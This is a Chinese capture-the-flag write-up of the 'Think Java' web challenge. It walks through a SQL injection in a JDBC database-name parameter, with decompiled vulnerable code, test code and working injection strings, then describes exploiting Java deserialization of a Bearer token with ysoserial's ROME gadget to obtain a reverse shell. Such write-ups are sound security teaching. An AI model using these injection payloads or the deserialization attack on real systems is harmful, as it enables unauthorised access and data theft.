网鼎杯-朱雀组-Web复现wp

Think Java

本题花时间也比较多,复现的时候遇到的坑也比较多,以下是解题方法与细节理解。

0x01 源代码分析

根据给的文件可以发现存在sql注入,dbName可控,此外在Test.class中发现了swagger,访问后发现开放了相关接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package cn.abc.core.sqldict;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
public SqlDict() {
}

public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;

try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}

if (user == null || dbName.equals("")) {
user = "root";
}

if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}

conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}

return conn;
}

public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";

try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

while(tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

while(rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}

table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

String PK;
for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
}

while(data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}

Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}

return Tables;
}
}

关于这个注入点,需要加#再闭合,或者通过?加个id再闭合(如下),对此我很是不解,通过赵师傅的指点与写jdbc代码测试才得以搞明白。

1
2
myapp?id=1' union select user()#
myapp#' union select user()#

我的测试代码如下(可以理解为本题的简化版本),grade为本地的一个数据库,选择了其中的admins表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.zed.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class JdbcDemo1 {
public static void main(String[] args) throws Exception{
//1、注册驱动
DriverManager.registerDriver(new com.mysql.jdbc.Driver());
//2、获取链接
String dbname = "grade?id=1' union select user()#";
//或者 String dbname = "grade#' union select user()#";
//连接数据库
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/"+dbname,"root","root");
//3、获取操作数据库的预处理对象
PreparedStatement pstm = conn.prepareStatement("Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where" +
" table_schema = '" + dbname + "' and table_name='admins';");
//4、执行sql语句,得到结果集
ResultSet res = pstm.executeQuery();
//5、遍历结果集
while (res.next()){
System.out.println(res.getString("TABLE_COMMENT"));
}
//6、释放资源
res.close();
pstm.close();
conn.close();
}
}

0x02测试代码分析:

在JDBC中,连接数据库的时候采用了?来进行参数传递,如果但是不会影响数据库是否成功连接。例如:

1
jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT

?后面的字符串都会被当作参数来进行传递,所以当 dbname="grade?id=1' union select user()#" 时,

1' union select user()# 都被当做id的值,但是不影响数据库的连接,然后在下面执行sql语句的时候 union select user()# 都作为了sql语句执行,达成了sql注入。使用#同理。

最终输入在swagger-ui.html的/common/test/sqlDict接口中输入myapp#' union select pwd from user#获得密码为 admin@Rrrr_ctf_asde 。

0x03登录获取token

在/common/user/login中登录获取到Bearer。

1590733597113Bearer是用户json数据序列化的结果,将Bearer后面的字符串base64decode的结果如下,明显的java序列化后的格式,这里就可能出现反序列化的漏洞,既然是登录用的,那么就在/common/user/current中应该会触发反序列化,那么在这个接口中的Authorization中输入这一串data,然后Try it out!抓包。

1590733804094

0x04反序列化利用的环境配置

先在burp中安装 Java Deserialization Scanner插件,该插件在burp的BApp Store可以找到。然后配置ysoserial,先上github下载相关源代码,再使用 mvn clean package -DskipTests 进行编译,最后在burp中的 Java Deserialization Scanner插件下配置路径,例如:

1590734238883

0x05反序列化利用&&get flag

由于复现是在buuoj下复现的,靶机都处于内网环境,所以先开个小号去申请个内网服务器用来接收shell。

在burp中,将抓到的包发送到装好的插件中

1590734455390

将Bearer后的字符串 Set Insertion Point,然后Attack(Base64),在右边可以看到可利用的ROME。

1590734607131

将当前包发送到Exploiting

1590734722286

然后构造payload执行,ip端口为buuoj中申请的内网靶机的ip与监听的端口。

1590734801498

最后成功接收到flag

1590734861991

在?给俺买颗糖?